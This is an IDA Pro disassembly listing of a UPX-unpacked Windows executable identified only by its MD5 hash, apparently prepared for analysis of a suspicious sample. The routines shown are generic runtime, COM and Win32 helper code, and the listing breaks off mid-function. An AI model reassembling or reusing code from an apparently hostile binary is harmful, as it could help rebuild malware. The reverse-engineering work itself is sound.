;
; +-------------------------------------------------------------------------+
; | This file is generated by The Interactive Disassembler (IDA) |
; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> |
; | Licensed to: 48-377D-7114-93 SRI International, 1 computer, std, 11/2007 |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; | This file is generated by The Interactive Disassembler (IDA) |
; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> |
; | Licensed to: 48-377D-7114-93 SRI International, 1 computer, std, 11/2007 |
; +-------------------------------------------------------------------------+
;
; Input MD5 : A97DB71FBC5C14D5E97254ADB7EB1B02
; File Name : u:\work\a97db71fbc5c14d5e97254adb7eb1b02_unpacked.exe
; Format : Portable executable for 80386 (PE)
; Imagebase : 400000
; Section 1. (virtual address 00001000)
; Virtual size : 00030000 ( 196608.)
; Section size in file : 00030000 ( 196608.)
; Offset to raw data for section: 00001000
; Flags E0000080: Bss Executable Readable Writable
; Alignment : default
include uni.inc ; see unicode subdir of ida for info on unicode
.686p
.mmx
.model flat
; ===========================================================================
; Segment type: Pure code
; Segment permissions: Read/Write/Execute
UPX0 segment para public 'CODE' use32
assume cs:UPX0
;org 401000h
assume es:nothing, ss:nothing, ds:UPX0, fs:nothing, gs:nothing
; =============== S U B R O U T I N E =======================================
sub_401000 proc near ; CODE XREF: UPX0:004050A0p
; sub_414C04+223p ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
test eax, eax
jz short locret_40101A
sub eax, 8
cmp dword ptr [eax], 0DDDDh
jnz short locret_40101A
push eax
call sub_40ADC8
pop ecx
locret_40101A: ; CODE XREF: sub_401000+6j
; sub_401000+11j
retn
sub_401000 endp
; =============== S U B R O U T I N E =======================================
sub_40101B proc near ; CODE XREF: sub_4015BD+51p
; sub_401BB2+79p
mov edx, [ecx]
cmp edx, [eax]
jnz short loc_40103D
mov edx, [ecx+4]
cmp edx, [eax+4]
jnz short loc_40103D
mov edx, [ecx+8]
cmp edx, [eax+8]
jnz short loc_40103D
mov ecx, [ecx+0Ch]
cmp ecx, [eax+0Ch]
jnz short loc_40103D
xor eax, eax
inc eax
retn
; ---------------------------------------------------------------------------
loc_40103D: ; CODE XREF: sub_40101B+4j
; sub_40101B+Cj ...
xor eax, eax
retn
sub_40101B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_401040 proc near ; CODE XREF: sub_401304+67p
var_1D = byte ptr -1Dh
ms_exc = CPPEH_RECORD ptr -18h
arg_0 = dword ptr 8
push 10h
push offset dword_4270D0
call __SEH_prolog4_GS
mov eax, [ebp+arg_0]
mov [ebp+var_1D], 1
and [ebp+ms_exc.disabled], 0
or ecx, 0FFFFFFFFh
sub ecx, eax
cmp ecx, 2000h
jb short loc_401073
add eax, 2000h
call sub_4160F0
mov [ebp+ms_exc.old_esp], esp
jmp short loc_401099
; ---------------------------------------------------------------------------
loc_401073: ; CODE XREF: sub_401040+22j
mov [ebp+var_1D], 0
jmp short loc_401099
; ---------------------------------------------------------------------------
mov eax, [ebp+ms_exc.exc_ptr]
mov eax, [eax]
mov eax, [eax]
xor ecx, ecx
cmp eax, 0C00000FDh
setz cl
mov eax, ecx
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+ms_exc.old_esp]
mov [ebp+var_1D], 0
call sub_40AF6F
loc_401099: ; CODE XREF: sub_401040+31j
; sub_401040+37j
mov [ebp+ms_exc.disabled], 0FFFFFFFEh
mov al, [ebp+var_1D]
lea esp, [ebp-30h]
call __SEH_epilog4_GS
retn
sub_401040 endp
; =============== S U B R O U T I N E =======================================
sub_4010AC proc near ; CODE XREF: sub_403138+81p
; sub_4089CE+12Ap ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push [esp+arg_8]
call dword_41D1F0 ; lstrlenW
lea eax, [eax+eax+2]
push eax
push [esp+4+arg_8]
mov eax, [esp+8+arg_4]
add eax, eax
push eax
push [esp+0Ch+arg_0]
call sub_40B376
add esp, 10h
neg eax
sbb eax, eax
inc eax
retn
sub_4010AC endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn bp-based frame
sub_4010D8 proc near ; CODE XREF: sub_4010F0:loc_401111p
; sub_4011E3+24p ...
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, [ebp+arg_0]
mov [ebp+arg_0], eax
push offset dword_426D98
lea eax, [ebp+arg_0]
push eax
call sub_40C03B
int 3 ; Trap to Debugger
sub_4010D8 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_4010F0 proc near ; CODE XREF: sub_401125+16p
; sub_4080FF+109p ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
test eax, eax
jz short loc_401124
cmp eax, 0Ch
jz short loc_40111D
cmp eax, 16h
jz short loc_401116
cmp eax, 22h
jz short loc_401116
cmp eax, 50h
jz short loc_401124
push 80004005h
loc_401111: ; CODE XREF: sub_4010F0+2Bj
; sub_4010F0+32j
call sub_4010D8
; ---------------------------------------------------------------------------
loc_401116: ; CODE XREF: sub_4010F0+10j
; sub_4010F0+15j
push 80070057h
jmp short loc_401111
; ---------------------------------------------------------------------------
loc_40111D: ; CODE XREF: sub_4010F0+Bj
push 8007000Eh
jmp short loc_401111
; ---------------------------------------------------------------------------
loc_401124: ; CODE XREF: sub_4010F0+6j
; sub_4010F0+1Aj
retn
sub_4010F0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_401125 proc near ; CODE XREF: sub_401260+5Ap
; sub_401260+73p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push [esp+arg_C]
push [esp+4+arg_8]
push [esp+8+arg_4]
push [esp+0Ch+arg_0]
call sub_40B376
push eax
call sub_4010F0
sub_401125 endp
; ---------------------------------------------------------------------------
add esp, 14h
retn
; =============== S U B R O U T I N E =======================================
sub_401144 proc near ; CODE XREF: sub_40A94B+2Dp
; sub_40A9EC+6p ...
push edi
mov edx, ecx
push 6
pop ecx
xor eax, eax
mov edi, edx
rep stosd
mov eax, edx
pop edi
retn
sub_401144 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_401154 proc near ; CODE XREF: sub_4069AB+5Fp
; sub_406A3F+5Fp ...
var_1C = dword ptr -1Ch
ms_exc = CPPEH_RECORD ptr -18h
push 0Ch
push offset dword_4270B0
call __SEH_prolog4
and [ebp+ms_exc.disabled], 0
push ecx
call dword_41D20C ; InitializeCriticalSection
and [ebp+var_1C], 0
jmp short loc_40118F
; ---------------------------------------------------------------------------
mov eax, [ebp+ms_exc.exc_ptr]
mov eax, [eax]
mov eax, [eax]
xor ecx, ecx
cmp eax, 0C0000017h
setz cl
mov eax, ecx
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+ms_exc.old_esp]
mov [ebp+var_1C], 8007000Eh
loc_40118F: ; CODE XREF: sub_401154+1Bj
mov [ebp+ms_exc.disabled], 0FFFFFFFEh
mov eax, [ebp+var_1C]
call __SEH_epilog4
retn
sub_401154 endp
; =============== S U B R O U T I N E =======================================
sub_40119F proc near ; CODE XREF: sub_40366A:loc_403755p
; sub_4078AB+63p ...
call dword_41D1D8 ; RtlGetLastWin32Error
test eax, eax
jle short locret_4011B3
and eax, 0FFFFh
or eax, 80070000h
locret_4011B3: ; CODE XREF: sub_40119F+8j
retn
sub_40119F endp
; =============== S U B R O U T I N E =======================================
sub_4011B4 proc near ; CODE XREF: sub_401E45+11p
; UPX0:00402B2Dp ...
test esi, esi
jnz short loc_4011BB
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_4011BB: ; CODE XREF: sub_4011B4+2j
test edi, edi
jz short loc_4011C5
mov eax, [edi]
push edi
call dword ptr [eax+4]
loc_4011C5: ; CODE XREF: sub_4011B4+9j
mov eax, [esi]
test eax, eax
jz short loc_4011D1
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_4011D1: ; CODE XREF: sub_4011B4+15j
mov [esi], edi
mov eax, edi
retn
sub_4011B4 endp
; ---------------------------------------------------------------------------
loc_4011D6: ; CODE XREF: UPX0:0041BF10j
; UPX0:0041BF33j ...
mov eax, [eax]
test eax, eax
jz short locret_4011E2
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
locret_4011E2: ; CODE XREF: UPX0:004011DAj
retn
; =============== S U B R O U T I N E =======================================
sub_4011E3 proc near ; CODE XREF: sub_403293+3Ap
; sub_404675+3Ep ...
arg_0 = dword ptr 4
cmp [esp+arg_0], 0
jnz short loc_4011F2
and dword ptr [esi], 0
loc_4011ED: ; CODE XREF: sub_4011E3+1Dj
mov eax, esi
retn 4
; ---------------------------------------------------------------------------
loc_4011F2: ; CODE XREF: sub_4011E3+5j
push [esp+arg_0]
call dword_41D234
mov [esi], eax
test eax, eax
jnz short loc_4011ED
push 8007000Eh
call sub_4010D8
sub_4011E3 endp
; ---------------------------------------------------------------------------
db 0CCh
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40120D proc near ; CODE XREF: sub_4030E7+1Dp
var_84 = byte ptr -84h
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 84h
mov eax, dword_42A034
xor eax, ebp
mov [ebp+var_4], eax
mov eax, [ebp+arg_0]
push 40h
lea ecx, [ebp+var_84]
push ecx
push eax
call dword_41D3AC
lea eax, [ebp+var_84]
push eax
call dword_41D234
mov [esi], eax
test eax, eax
jnz short loc_401250
push 8007000Eh
call sub_4010D8
; ---------------------------------------------------------------------------
loc_401250: ; CODE XREF: sub_40120D+37j
mov ecx, [ebp+var_4]
xor ecx, ebp
mov eax, esi
call sub_40AC1C
leave
retn 4
sub_40120D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_401260 proc near ; CODE XREF: sub_41889D+E7p
; sub_41889D+F9p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ebx
push esi
xor esi, esi
cmp [ebp+arg_0], esi
jz short loc_4012EB
mov eax, [edi]
cmp eax, esi
jz short loc_401278
cmp [ebp+arg_4], esi
jz short loc_4012EB
loc_401278: ; CODE XREF: sub_401260+11j
push eax
call dword_41D238
mov ecx, [ebp+arg_4]
lea ebx, [eax+ecx]
cmp ebx, eax
mov [ebp+var_4], eax
jge short loc_401293
loc_40128C: ; CODE XREF: sub_401260+3Fj
mov eax, 8007000Eh
jmp short loc_4012ED
; ---------------------------------------------------------------------------
loc_401293: ; CODE XREF: sub_401260+2Aj
push ebx
push esi
call dword_41D250
mov esi, eax
test esi, esi
jz short loc_40128C
push dword ptr [edi]
call dword_41D238
test eax, eax
jbe short loc_4012C2
mov eax, [ebp+var_4]
add eax, eax
push eax
push dword ptr [edi]
lea eax, [ebx+ebx]
push eax
push esi
call sub_401125
; ---------------------------------------------------------------------------
add esp, 10h
loc_4012C2: ; CODE XREF: sub_401260+4Bj
mov eax, [ebp+arg_4]
add eax, eax
push eax
push [ebp+arg_0]
push eax
mov eax, [ebp+var_4]
lea eax, [esi+eax*2]
push eax
call sub_401125
; ---------------------------------------------------------------------------
xor eax, eax
add esp, 10h
mov [esi+ebx*2], ax
push dword ptr [edi]
call dword_41D25C
mov [edi], esi
loc_4012EB: ; CODE XREF: sub_401260+Bj
; sub_401260+16j
xor eax, eax
loc_4012ED: ; CODE XREF: sub_401260+31j
pop esi
pop ebx
leave
retn 8
sub_401260 endp
; ---------------------------------------------------------------------------
loc_4012F3: ; CODE XREF: UPX0:0041BFFCj
; UPX0:0041C0B2j ...
push dword ptr [eax]
call dword_41D25C
retn
; ---------------------------------------------------------------------------
loc_4012FC: ; CODE XREF: UPX0:0041C081j
push ecx
call dword_41D23C
retn
; =============== S U B R O U T I N E =======================================
sub_401304 proc near ; CODE XREF: sub_4186D9+167p
push 14h
mov eax, offset loc_41C247
call sub_40C4D6
call off_42A000
xor ebx, ebx
mov [ebp-18h], eax
mov [ebp-14h], ebx
mov esi, [ebp+8]
push esi
mov [ebp-4], ebx
call dword_41D23C
push 8
pop eax
mov [esi], ax
cmp [ebp+0Ch], ebx
jz loc_4013D2
push dword ptr [ebp+0Ch]
call dword_41D1D4 ; lstrlenA
push ebx
inc eax
cdq
push 2
push edx
push eax
call sub_414560
mov edi, eax
add eax, 80000000h
adc edx, ebx
mov [ebp-1Ch], edx
jnz short loc_4013D2
cmp eax, 0FFFFFFFFh
ja short loc_4013D2
cmp edi, 400h
jg short loc_401380
push edi
call sub_401040
pop ecx
test al, al
jz short loc_401380
mov eax, edi
call sub_4160F0
mov esi, esp
jmp short loc_4013A0
; ---------------------------------------------------------------------------
loc_401380: ; CODE XREF: sub_401304+64j
; sub_401304+6Fj
or eax, 0FFFFFFFFh
sub eax, edi
cmp eax, 8
jb short loc_4013C5
lea eax, [edi+8]
push eax
call sub_40AEA5
pop ecx
cmp eax, ebx
jz short loc_4013D2
mov [eax], ebx
mov [ebp-14h], eax
lea esi, [eax+8]
loc_4013A0: ; CODE XREF: sub_401304+7Aj
cmp esi, ebx
jz short loc_4013CF
push edi
push esi
push 0FFFFFFFFh
push dword ptr [ebp+0Ch]
xor eax, eax
push ebx
push dword ptr [ebp-18h]
mov [esi], ax
call dword_41D1F4 ; MultiByteToWideChar
neg eax
sbb eax, eax
and eax, esi
mov esi, [ebp+8]
jmp short loc_4013D4
; ---------------------------------------------------------------------------
loc_4013C5: ; CODE XREF: sub_401304+84j
push 80070057h
loc_4013CA: ; CODE XREF: sub_401304+F2j
call sub_4010D8
; ---------------------------------------------------------------------------
loc_4013CF: ; CODE XREF: sub_401304+9Ej
mov esi, [ebp+8]
loc_4013D2: ; CODE XREF: sub_401304+30j
; sub_401304+57j ...
xor eax, eax
loc_4013D4: ; CODE XREF: sub_401304+BFj
push eax
call dword_41D234
mov [esi+8], eax
cmp eax, ebx
jnz short loc_4013F8
cmp [ebp+0Ch], ebx
jz short loc_4013F8
push 0Ah
pop eax
mov [esi], ax
mov eax, 8007000Eh
mov [esi+8], eax
push eax
jmp short loc_4013CA
; ---------------------------------------------------------------------------
loc_4013F8: ; CODE XREF: sub_401304+DCj
; sub_401304+E1j
cmp [ebp-14h], ebx
jz short loc_401410
loc_4013FD: ; CODE XREF: sub_401304+10Aj
mov eax, [ebp-14h]
mov edi, [eax]
push eax
mov [ebp-14h], edi
call sub_40ADC8
pop ecx
cmp edi, ebx
jnz short loc_4013FD
loc_401410: ; CODE XREF: sub_401304+F7j
mov eax, esi
lea esp, [ebp-30h]
call sub_40C520
retn 8
sub_401304 endp
; =============== S U B R O U T I N E =======================================
sub_40141D proc near ; CODE XREF: sub_4015BD+23p
; sub_4058EE+1Ap
cmp dword ptr [eax], 0
jnz short loc_40143E
cmp dword ptr [eax+4], 0
jnz short loc_40143E
cmp dword ptr [eax+8], 0C0h
jnz short loc_40143E
cmp dword ptr [eax+0Ch], 46000000h
jnz short loc_40143E
xor eax, eax
inc eax
retn
; ---------------------------------------------------------------------------
loc_40143E: ; CODE XREF: sub_40141D+3j
; sub_40141D+9j ...
xor eax, eax
retn
sub_40141D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_401441 proc near ; CODE XREF: sub_40691F+2Dp
var_8 = dword ptr -8
var_4 = byte ptr -4
push ebp
mov ebp, esp
push ecx
push ecx
test esi, esi
jz short loc_401484
test eax, eax
jz short loc_401484
mov [esi], eax
call dword_41D1C4 ; GetCurrentThreadId
mov [esi+4], eax
mov eax, offset dword_42E38C
push eax
mov [ebp+var_8], eax
call dword_41D1CC ; RtlEnterCriticalSection
mov eax, dword_42E3A4
mov [esi+8], eax
lea ecx, [ebp+var_8]
mov [ebp+var_4], 1
mov dword_42E3A4, esi
call sub_4066D7
leave
retn
; ---------------------------------------------------------------------------
loc_401484: ; CODE XREF: sub_401441+7j
; sub_401441+Bj
push 0
push 0
push 1
push 0C0000005h
call dword_41D1DC ; RaiseException
int 3 ; Trap to Debugger
sub_401441 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_401496 proc near ; CODE XREF: sub_417A85+C5p
push esi
mov esi, eax
push edi
test esi, esi
jz short loc_4014CC
mov edi, dword_41D31C
loc_4014A4: ; CODE XREF: sub_401496+34j
cmp word ptr [esi], 0
jz short loc_4014CC
mov eax, offset asc_423A00 ; ":"
loc_4014AF: ; CODE XREF: sub_401496+2Bj
movzx ecx, word ptr [eax]
test cx, cx
jz short loc_4014C3
cmp [esi], cx
jz short loc_4014D1
push eax
call edi ; dword_41D31C
test eax, eax
jnz short loc_4014AF
loc_4014C3: ; CODE XREF: sub_401496+1Fj
push esi
call edi ; dword_41D31C
mov esi, eax
test esi, esi
jnz short loc_4014A4
loc_4014CC: ; CODE XREF: sub_401496+6j
; sub_401496+12j
xor eax, eax
loc_4014CE: ; CODE XREF: sub_401496+3Ej
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_4014D1: ; CODE XREF: sub_401496+24j
push esi
call edi ; dword_41D31C
jmp short loc_4014CE
sub_401496 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4014D6 proc near ; CODE XREF: UPX0:00402CADp
; sub_41889D+15Fp
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
push ecx
test eax, eax
jnz short loc_4014E6
mov eax, 80070057h
jmp short locret_401547
; ---------------------------------------------------------------------------
loc_4014E6: ; CODE XREF: sub_4014D6+7j
mov ecx, [eax]
and [ebp+var_8], 0
and [ebp+var_4], 0
push esi
lea edx, [ebp+var_8]
push edx
push offset dword_424294
push eax
call dword ptr [ecx]
mov esi, eax
test esi, esi
jl short loc_40152A
mov eax, [ebp+var_8]
mov ecx, [eax]
lea edx, [ebp+var_4]
push edx
push [ebp+arg_4]
push eax
call dword ptr [ecx+10h]
mov esi, eax
test esi, esi
jl short loc_40152A
push [ebp+arg_8]
mov eax, [ebp+var_4]
push [ebp+arg_0]
mov ecx, [eax]
push eax
call dword ptr [ecx+14h]
mov esi, eax
loc_40152A: ; CODE XREF: sub_4014D6+2Bj
; sub_4014D6+41j
mov eax, [ebp+var_4]
test eax, eax
jz short loc_401537
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_401537: ; CODE XREF: sub_4014D6+59j
mov eax, [ebp+var_8]
test eax, eax
jz short loc_401544
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_401544: ; CODE XREF: sub_4014D6+66j
mov eax, esi
pop esi
locret_401547: ; CODE XREF: sub_4014D6+Ej
leave
retn 0Ch
sub_4014D6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40154B proc near ; CODE XREF: sub_4024D9+51p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ecx
test eax, eax
jnz short loc_40155B
mov eax, 80070057h
jmp short locret_4015B9
; ---------------------------------------------------------------------------
loc_40155B: ; CODE XREF: sub_40154B+7j
mov ecx, [eax]
and [ebp+var_8], 0
and [ebp+var_4], 0
push esi
lea edx, [ebp+var_8]
push edx
push offset dword_424294
push eax
call dword ptr [ecx]
mov esi, eax
test esi, esi
jl short loc_40159C
mov eax, [ebp+var_8]
mov ecx, [eax]
lea edx, [ebp+var_4]
push edx
push [ebp+arg_0]
push eax
call dword ptr [ecx+10h]
mov esi, eax
test esi, esi
jl short loc_40159C
mov eax, [ebp+var_4]
push [ebp+arg_4]
mov ecx, [eax]
push eax
call dword ptr [ecx+18h]
mov esi, eax
loc_40159C: ; CODE XREF: sub_40154B+2Bj
; sub_40154B+41j
mov eax, [ebp+var_4]
test eax, eax
jz short loc_4015A9
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_4015A9: ; CODE XREF: sub_40154B+56j
mov eax, [ebp+var_8]
test eax, eax
jz short loc_4015B6
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_4015B6: ; CODE XREF: sub_40154B+63j
mov eax, esi
pop esi
locret_4015B9: ; CODE XREF: sub_40154B+Ej
leave
retn 8
sub_40154B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4015BD proc near ; CODE XREF: sub_404F0D+16p
; sub_404FB1+16p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
cmp [ebp+arg_0], 0
push esi
push edi
mov esi, eax
jz short loc_401647
test esi, esi
jz short loc_401647
test ebx, ebx
jnz short loc_4015DA
mov eax, 80004003h
jmp short loc_40164C
; ---------------------------------------------------------------------------
loc_4015DA: ; CODE XREF: sub_4015BD+14j
mov eax, [ebp+arg_4]
and dword ptr [ebx], 0
call sub_40141D
test eax, eax
jz short loc_401639
loc_4015E9: ; CODE XREF: sub_4015BD+5Dj
mov esi, [esi+4]
add esi, [ebp+arg_0]
mov eax, [esi]
push esi
call dword ptr [eax+4]
mov [ebx], esi
xor eax, eax
jmp short loc_40164C
; ---------------------------------------------------------------------------
loc_4015FB: ; CODE XREF: sub_4015BD+81j
mov ecx, [esi]
xor eax, eax
test ecx, ecx
setz al
mov [ebp+var_4], eax
test eax, eax
jnz short loc_401617
mov eax, [ebp+arg_4]
call sub_40101B
test eax, eax
jz short loc_401636
loc_401617: ; CODE XREF: sub_4015BD+4Cj
cmp edi, 1
jz short loc_4015E9
push dword ptr [esi+4]
push ebx
push [ebp+arg_4]
push [ebp+arg_0]
call edi ; CharNextW
test eax, eax
jz short loc_40164C
cmp [ebp+var_4], 0
jnz short loc_401636
test eax, eax
jl short loc_40164C
loc_401636: ; CODE XREF: sub_4015BD+58j
; sub_4015BD+73j
add esi, 0Ch
loc_401639: ; CODE XREF: sub_4015BD+2Aj
mov edi, [esi+8]
test edi, edi
jnz short loc_4015FB
mov eax, 80004002h
jmp short loc_40164C
; ---------------------------------------------------------------------------
loc_401647: ; CODE XREF: sub_4015BD+Cj
; sub_4015BD+10j
mov eax, 80070057h
loc_40164C: ; CODE XREF: sub_4015BD+1Bj
; sub_4015BD+3Cj ...
pop edi
pop esi
leave
retn 8
sub_4015BD endp
; =============== S U B R O U T I N E =======================================
sub_401652 proc near ; CODE XREF: sub_401BB2+175p
push 0Ch
mov eax, offset loc_41C224
call sub_40C4A0
mov edi, [ebp+8]
test edi, edi
jnz short loc_40166C
mov eax, 80070057h
jmp short loc_4016CA
; ---------------------------------------------------------------------------
loc_40166C: ; CODE XREF: sub_401652+11j
and dword ptr [ebp-14h], 0
and dword ptr [ebp-4], 0
push 0Ch
call sub_40B45F
pop ecx
mov esi, eax
jmp short loc_40168C
; ---------------------------------------------------------------------------
loc_401680: ; DATA XREF: UPX0:0042737Co
mov eax, offset loc_401686
retn
; ---------------------------------------------------------------------------
loc_401686: ; DATA XREF: sub_401652:loc_401680o
mov edi, [ebp+8]
mov esi, [ebp-14h]
loc_40168C: ; CODE XREF: sub_401652+2Cj
test esi, esi
jnz short loc_401697
mov ebx, 8007000Eh
jmp short loc_4016C8
; ---------------------------------------------------------------------------
loc_401697: ; CODE XREF: sub_401652+3Cj
lea eax, [edi+0Ch]
push eax
mov dword ptr [esi], offset sub_401B6E
mov dword ptr [esi+4], offset off_42DEA4
mov [ebp-18h], eax
call dword_41D1CC ; RtlEnterCriticalSection
mov eax, [edi+8]
mov [esi+8], eax
lea ecx, [ebp-18h]
mov byte ptr [ebp-14h], 1
xor ebx, ebx
mov [edi+8], esi
call sub_4066D7
loc_4016C8: ; CODE XREF: sub_401652+43j
mov eax, ebx
loc_4016CA: ; CODE XREF: sub_401652+18j
call sub_40C50C
retn 4
sub_401652 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame fpd=3ECh
sub_4016D2 proc near ; CODE XREF: sub_418266+169p
var_410 = byte ptr -410h
var_40C = dword ptr -40Ch
var_408 = dword ptr -408h
var_404 = dword ptr -404h
var_400 = word ptr -400h
var_3FC = dword ptr -3FCh
var_3F8 = dword ptr -3F8h
var_3F0 = dword ptr -3F0h
var_3EC = byte ptr -3ECh
var_4 = dword ptr -4
push ebp
sub esp, 3E8h
lea ebp, [esp-4]
mov eax, dword_42A034
xor eax, ebp
mov [ebp+3ECh+var_4], eax
push 18h
mov eax, offset loc_41C345
call sub_40C46D
mov eax, [ebp+3F4h]
xor ebx, ebx
mov esi, ecx
mov [ebp+3ECh+var_40C], eax
mov [eax], ebx
cmp esi, ebx
jz loc_401842
mov eax, [esi]
lea ecx, [ebp+3ECh+var_404]
push ecx
push 2
lea ecx, [ebp+3ECh+var_400]
push ecx
push esi
call dword ptr [eax+0Ch]
cmp eax, ebx
jl loc_401844
mov eax, [esi]
lea ecx, [ebp+3ECh+var_404]
push ecx
push 4
lea ecx, [ebp+3ECh+var_410]
push ecx
push esi
call dword ptr [eax+0Ch]
cmp eax, ebx
jl loc_401844
mov eax, [esi]
lea ecx, [ebp+3ECh+var_404]
push ecx
push 4
lea ecx, [ebp+3ECh+var_408]
push ecx
push esi
call dword ptr [eax+0Ch]
cmp eax, ebx
jl loc_401844
cmp [ebp+3ECh+var_408], ebx
jbe loc_4017DE
jnz short loc_401786
xor edi, edi
mov [ebp+3ECh+var_3FC], edi
loc_401765: ; CODE XREF: sub_4016D2+C5j
push edi
mov [ebp+3ECh+var_3F0], ebx
call dword_41D238
test eax, eax
jnz short loc_4017A3
mov esi, 8007000Eh
loc_401778: ; CODE XREF: sub_4016D2+FAj
push edi
call dword_41D25C
mov eax, esi
jmp loc_401844
; ---------------------------------------------------------------------------
loc_401786: ; CODE XREF: sub_4016D2+8Cj
push [ebp+3ECh+var_408]
push ebx
call dword_41D250
mov edi, eax
mov [ebp+3ECh+var_3FC], edi
cmp edi, ebx
jnz short loc_401765
push 8007000Eh
call sub_4010D8
; ---------------------------------------------------------------------------
loc_4017A3: ; CODE XREF: sub_4016D2+9Fj
mov eax, [ebp+3ECh+var_408]
lea eax, [eax+eax+2]
push eax
push ebx
push edi
call sub_40BD40
mov eax, [esi]
add esp, 0Ch
lea ecx, [ebp+3ECh+var_404]
push ecx
mov ecx, [ebp+3ECh+var_408]
add ecx, ecx
push ecx
push edi
push esi
call dword ptr [eax+0Ch]
cmp eax, ebx
jge short loc_4017CE
mov esi, eax
jmp short loc_401778
; ---------------------------------------------------------------------------
loc_4017CE: ; CODE XREF: sub_4016D2+F6j
mov eax, [ebp+3ECh+var_40C]
or [ebp+3ECh+var_3F0], 0FFFFFFFFh
push ebx
mov [eax], edi
call dword_41D25C
loc_4017DE: ; CODE XREF: sub_4016D2+86j
mov eax, 37Ah
cmp [ebp+3ECh+var_400], ax
jz short loc_401802
inc eax
cmp [ebp+3ECh+var_400], ax
jz short loc_401802
mov eax, 376h
cmp [ebp+3ECh+var_400], ax
jz short loc_401842
mov eax, 80004005h
jmp short loc_401844
; ---------------------------------------------------------------------------
loc_401802: ; CODE XREF: sub_4016D2+115j
; sub_4016D2+11Cj
mov eax, [esi]
lea ecx, [ebp+3ECh+var_404]
push ecx
push 4
lea ecx, [ebp+3ECh+var_3FC]
push ecx
push esi
call dword ptr [eax+0Ch]
cmp eax, ebx
jl short loc_401844
sub [ebp+3ECh+var_3FC], 4
jz short loc_401842
mov edi, 3E8h
loc_401821: ; CODE XREF: sub_4016D2+16Ej
mov eax, [ebp+3ECh+var_3FC]
cmp [ebp+3ECh+var_3FC], edi
jb short loc_40182B
mov eax, edi
loc_40182B: ; CODE XREF: sub_4016D2+155j
mov ecx, [esi]
lea edx, [ebp+3ECh+var_404]
push edx
push eax
lea eax, [ebp+3ECh+var_3EC]
push eax
push esi
call dword ptr [ecx+0Ch]
mov eax, [ebp+3ECh+var_404]
sub [ebp+3ECh+var_3FC], eax
jnz short loc_401821
loc_401842: ; CODE XREF: sub_4016D2+35j
; sub_4016D2+127j ...
xor eax, eax
loc_401844: ; CODE XREF: sub_4016D2+4Dj
; sub_4016D2+65j ...
mov ecx, [ebp+3ECh+var_3F8]
mov large fs:0, ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, [ebp+3ECh+var_4]
xor ecx, ebp
call sub_40AC1C
add ebp, 3ECh
leave
retn
sub_4016D2 endp
; =============== S U B R O U T I N E =======================================
sub_401867 proc near ; CODE XREF: sub_403C55+68p
; sub_417C15+1Dp
arg_0 = dword ptr 4
mov ecx, [eax+4]
mov edx, [eax]
push esi
mov esi, [eax+0Ch]
mov eax, [eax+8]
push 1
sub esi, ecx
push esi
sub eax, edx
push eax
mov eax, [esp+10h+arg_0]
push ecx
push edx
push dword ptr [eax]
call dword_41D270 ; MoveWindow
pop esi
retn 4
sub_401867 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40188D proc near ; CODE XREF: UPX0:00402C2Cp
var_14 = byte ptr -14h
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 14h
mov eax, dword_42A034
xor eax, ebp
mov [ebp+var_4], eax
mov eax, [ebp+arg_0]
push dword ptr [eax]
call dword_41D33C ; GetParent
push 8
lea ecx, [ebp+var_14]
push ecx
push eax
call dword_41D2C0 ; GetClassNameW
test eax, eax
jz short loc_4018CD
push offset a32770 ; "#32770"
lea eax, [ebp+var_14]
push eax
call dword_41D1F8 ; lstrcmpW
neg eax
sbb eax, eax
inc eax
loc_4018CD: ; CODE XREF: sub_40188D+2Aj
mov ecx, [ebp+var_4]
xor ecx, ebp
call sub_40AC1C
leave
retn 4
sub_40188D endp
; =============== S U B R O U T I N E =======================================
sub_4018DB proc near ; CODE XREF: sub_404477+Cp
